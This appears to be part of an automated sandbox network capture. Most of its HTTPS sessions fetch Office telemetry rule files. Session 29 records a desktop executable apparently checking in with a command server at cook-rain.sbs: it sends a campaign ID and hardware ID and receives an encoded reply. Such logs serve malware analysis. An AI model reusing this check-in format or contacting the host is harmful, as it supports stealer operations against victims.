2024-11-18 19:21:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192127Z-1866b5c5fbbfrdddhC1DFW7e90000000029g000000009tmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192127Z-16547b76f7fht2hfhC1DFWbngg00000006ng00000000d1wr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192127Z-1866b5c5fbbx98hfhC1DFWuqmg000000052g000000001xqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:27 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192127Z-16547b76f7fwm7vghC1DFW900s00000003w0000000006rhb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: b838fa63-a01e-001e-2d9b-3849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192127Z-1866b5c5fbb5hnj5hC1DFW18sc000000069000000000vt5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49737	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:28 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-18 19:21:28 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 46 42 42 36 35 44 38 45 44 30 46 45 43 34 38 44 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=FBB65D8ED0FEC48D63CFCF7E6C45F838
2024-11-18 19:21:28 UTC	983	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8eqfkfq18ounoud4q4gm7kkm93; expires=Fri, 14-Mar-2025 13:08:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=buuEJsQVfT5hpGoQOwUIxaja82eC%2FLXLmnoFhbQhRVGGuXnK9GNaGq%2Bjq2CSolDvDRdT7f4EwqXc8%2BGSfQ6AhQU7S87JVxRo%2BBCqdgAgUOzm16LAa69J%2FtKA68aJVkeU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a52def930e81a-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23937&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=120792&cwnd=32&unsent_bytes=0&cid=b96480d8efda8218&ts=770&x=0"
2024-11-18 19:21:28 UTC	214	IN	Data Raw: 64 30 0d 0a 41 69 37 49 46 74 51 34 5a 76 53 75 4f 73 74 45 2f 2f 38 45 68 64 62 39 33 59 2b 30 73 46 6a 74 37 52 44 2b 69 46 46 46 44 45 4e 5a 56 65 70 6a 39 67 4a 45 6e 4e 70 4f 75 33 36 6a 30 46 69 71 35 38 58 6f 6f 59 61 42 62 63 50 63 49 63 32 6d 59 48 4e 51 62 47 31 49 72 6b 72 37 58 41 4f 53 67 46 2b 7a 49 64 33 54 4a 75 4f 69 33 2b 65 2f 6d 4a 49 39 7a 39 63 68 67 36 51 71 5a 33 6c 68 4f 41 79 67 59 71 42 49 58 4b 69 42 5a 75 52 31 78 38 6f 71 74 2b 66 49 38 37 36 46 67 33 62 63 32 30 7a 52 2b 79 55 67 62 53 35 65 41 62 70 33 75 6c 77 4a 6d 59 42 66 73 79 48 64 30 79 62 6a 6f 74 2f 6e 76 35 69 53 50 63 2f 58 49 59 50 56 0d 0a Data Ascii: d0Ai7IFtQ4ZvSuOstE//8Ehdb93Y+0sFjt7RD+iFFFDENZVepj9gJEnNpOu36j0Fiq58XooYaBbcPcIc2mYHNQbG1Irkr7XAOSgF+zId3TJuOi3+e/mJI9z9chg6QqZ3lhOAygYqBIXKiBZuR1x8oqt+fI876Fg3bc20zR+yUgbS5eAbp3ulwJmYBfsyHd0ybjot/nv5iSPc/XIYPV
2024-11-18 19:21:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 18e8abea-801e-0035-0dc3-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192128Z-164f84587bfn7ppchC1DFW45b400000000gg00000000ehyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 0e1cc1b7-001e-0066-7a9a-36561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192128Z-164f84587bf6h2bxhC1DFWbcm800000006f000000000bfxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2f467f27-f01e-003f-23a6-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192128Z-164f84587bf7jb9dhC1DFWkay400000005sg00000000tup4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192128Z-16547b76f7fbkfmzhC1DFWm9tw00000005s000000000w9br x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192128Z-1866b5c5fbbx98hfhC1DFWuqmg000000051g0000000059fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
